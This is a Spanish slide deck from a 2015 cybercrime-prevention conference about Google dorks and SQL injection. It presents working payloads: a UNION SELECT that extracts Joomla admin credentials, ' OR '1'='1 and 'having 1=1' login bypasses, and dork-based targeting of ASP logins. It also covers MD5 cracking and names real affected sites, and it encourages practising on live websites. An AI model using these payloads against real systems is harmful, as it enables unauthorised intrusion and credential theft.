Publicado el 1 de Abril del 2018
1.449 visualizaciones desde el 1 de Abril del 2018
2,4 MB
54 paginas
Creado hace 9a (13/04/2015)
20-Marzo-
2015
II Jornadas de Prevención del
Fraude y el Cibercrimen
Intrusión Web:
Google Dorks e
Inyección Sql
2
Inyección SQL en Páginas
Web
El Hacking Ético es Delito
• Artículo 197.3 C.P.
El que por cualquier medio o procedimiento y vulnerando las
medidas de seguridad establecidas para impedirlo, acceda sin
autorización a datos o programas informáticos contenidos en un
sistema informático o en parte del mismo o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legítimo derecho a
excluirlo, será castigado con pena de prisión de seis meses a dos
años.
3
Inyección SQL en Páginas
Web
Libertad de Cátedra
• La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.
• Es el derecho a ejercer la docencia, en el ámbito de la
Educación Superior, con absoluta libertad, es decir, es "la libertad
de enseñar y debatir sin verse limitado por doctrinas instituidas".
•
La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente
su opinión sobre la institución o el sistema en que trabaja, la
libertad ante la censura institucional y la libertad de participar en
órganos profesionales u organizaciones académicas
representativas.
4
Inyección SQL en Páginas
Web
¿Qué es Inyección SQL?
• Es un método de infiltración de código SQL
• Aprovecha vulnerabilidades de diseño en código web
• Afecta a cualquier lenguaje que use SqlQueries
• Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%
RESULTADO:
SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE
usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
5
Inyección SQL en Páginas
Web
¿Qué fines alberga?
• Casi ninguno bueno
•
•
Introducción de código adaware malicioso
Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.
• Sólo se salva el Hacking Ético
EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY
ZIP ...
6
Inyección SQL en Páginas
Web
¿Por qué ocurre esto?
• Mal diseño del código de consulta SQL
• Utilización de código estándar no contrastado
• Ausencia de actualización de directivas de Seguridad CMS
Inexistencia de seguimiento de la vida de la página web
•
• Carencia de responsables en seguridad informática.
7
Inyección SQL en Páginas
Web
Algunas páginas infectadas
• Universidades
• Páginas oficiales de partidos políticos
• Páginas oficiales de Ayuntamientos
• Páginas web corporativas y particulares, etc.
8
Inyección SQL en Páginas
Web
El más
Famoso:
La
Viagra
9
Inyección SQL en Páginas
Web
Ejemplos interesantes
Universidad de Salamanca
http://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea
10
Inyección SQL en Páginas
Web
Ejemplos interesantes
Universidad de Extremadura
http://matematicas.unex.es/~brequejo/
11
Inyección SQL en Páginas
Web
Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
12
Inyección SQL en Páginas
Web
Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
13
Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión, Progreso y Democracia
14
Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión,
Progreso y
Democracia
15
Inyección SQL en Páginas
Web
Ejemplos interesantes
Página de Unión, Progreso y Democracia
<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of
must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="
http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into
and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="
http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned
about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="
http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become
unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com"
title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive
your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash
advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our
payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com"
title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take
your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific
generalization of extension.</p>
</div>
¿Cómo se hace Sqlinjection?
16
Inyección SQL en Páginas
Web
• Se buscan vulnerabilidades en los CMS más populares
•
Joomla es el “Rey de Reyes”
• Tampoco se libra Wordpress
• Ni Drupal, ni Moodle….
• Cualquier sitio web en interesante; incluso el tuyo!!:
• Es el mejor laboratorio de prácticas
• Hay miles de páginas web esperando
¿Cómo se hace Sqlinjection?
17
Inyección SQL en Páginas
Web
• Se buscan páginas web de CMS no actualizadas
• Los “ciberdelincuentes buenos”, buscan “0 Days”
• Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:
USER | PASSWORD
18
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
• Joomla 3.2.2
• Fallo detectado en febrero de 2014
• Afectaba al propio núcleo de Joomla
• Por tanto funcionaba en todas las versiones anteriores
• Buscaba el error en la validación de parámetros web
• El error estaba tras consultar el “Weblinks-categories”
• El objetivo es provocar que Joomla nos muestre su código
fuente para sacar lo más importante:
USER | PASSWORD
19
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
20
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Una instrucción “Normal”:
http://URL/index.php/weblinks-categories?id=1
http://URL/index.php/weblinks-categories?id=X
Resultado:
SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN
`ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id`
AND `m`.`type_alias` = 'com_weblinks.categories' AND
`m`.`content_item_id` IN ( X)
21
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
22
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
ATENTOS AHORA:
Este error anterior nos ha mostrado una información muy valiosa:
El prefijo de las Tablas de la base de datos
...INNER JOIN `ls41c_contentitem_tag_map` ...
Como vemos, en nuestro caso es ls41c
23
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Aprovechemos este error para hacer nuestra consulta:
• Consultamos a la Tabla de Usuarios (ls41c_users):
•
Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password
http://URL/index.php/weblinks-categories
?id=0) union select
concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from
`ls41c_users`-- )
24
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Esto genera un nuevo error:
25
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Veámoslo con detalle:
El usuario es admin
La clave está encriptada con un HASH MD5
26
Inyección SQL en Páginas
Web
Ejemplos de Sqlinjection
Sólo nos resta “Deshacer” el MD5:
• Mediante la búsqueda de la cadena por internet
• Utilizando páginas web para descifrarlo
• www.md5online.es
27
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Mediante el uso de operadores en los campos de texto
En los campos de consulta de datos
En los campos de Usuario y Contraseña
En cualquier campo que permita introducir datos
28
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
En la pantalla de Autenticación se nos piden los datos de acceso
El código interno que se ejecuta suele ser algo parecido a:
Select id
from tabla_usuarios
where usuario='$usuario' and pass='$pass';
29
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
¿Pero qué pasa si provocamos el error?
Select id
from tabla_usuarios
where usuario=' 'or '1'='1 ' and pass=''or
'1'='1';
30
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ejemplo
http://www.XXXX.co.in/Attendance/adminlogin.asp
31
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Introducimos la instrucción ' OR '1'='1
32
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Y “Voila!!!”
33
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork: inurl:login.asp
En los campos de acceso tecleamos ' having 1= 1--
34
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork: inurl:login.asp
En las páginas vulnerables se producirá el siguiente error:
35
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork: inurl:login.asp
El Error anterior nos dio el nombre de la tabla y la columna:
Ingresamos ' group by Usuario.Clave having 1 = 1--
36
Inyección SQL en Páginas
Web
Otras formas de Sqlinjection
Ataques a Logins ASP
Comando Dork:
Comentarios de: Intrusión Web: Google Dorks e Inyección Sql (0)
No hay comentarios